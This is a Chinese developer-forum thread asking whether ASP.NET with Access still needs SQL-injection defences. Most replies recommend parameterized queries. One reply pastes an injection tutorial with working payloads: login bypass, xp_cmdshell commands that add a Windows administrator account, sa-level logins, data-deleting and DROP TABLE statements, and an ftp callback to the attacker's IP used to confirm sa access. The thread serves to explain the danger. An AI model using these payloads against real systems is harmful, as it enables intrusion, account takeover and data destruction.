asp.net +access 还用堤防 注入攻击吗?
asp.net +access 还用堤防 注入攻击吗?
我听过一个老师的课说 注入攻击基本上都是针对asp的。.net可以不用考虑。
------解决方案--------------------给你贴篇sql注入
------解决方案--------------------关于身份验证
sql= "select * from user where name= ' "&name& " ' and pwd= ' "&pwd& " ' "
……
不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
(1)我们在用户名位置输入【admin ' or 1= '1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:
sql=select * from user where name= 'admin ' or 1= '1 ' and pwd= '11 '
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin ' --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:
sql=select * from user where name= 'admin ' -- ' and pasword= '11 '
同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin ';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin ';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin ';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin ';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add ';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin ';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add ';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin ';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin ';insert into user (name,pwd) values ( 'cool ', '123456 ');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin ';update news set pwd= '123456 ' where name= 'admin ';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin ';exec master.dbo.xp_cmdshell 'ftp *.*.*.* '】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
------解决方案--------------------ACCESS更要注重安全了,首先它是个文件,所以你得提防被下载非法利用,这比SQL注入更可怕
再者,.NET的防止SQL注入还是非常要注意的,如直接拼接SQL的,是最容易被注入的
所以你要么用参数,要么写防止注的语句
------解决方案--------------------用OleDbParameter就可以了, ADO里也可以用Parameter
------解决方案--------------------asp.net和asp都要防止注入
不过asp.net防止注入比较容易
access的安全性比sql脆弱
不过危险也小一些 sql的sa权限非常大 如果sql的sa权限被获取还可以控制到服务器
------解决方案--------------------谁说不用防了呀...
select * from table where username= 'sss ' and '1 '= '1 ';drop table tablename --
用 "-- "把后面注释就可以破坏数据库了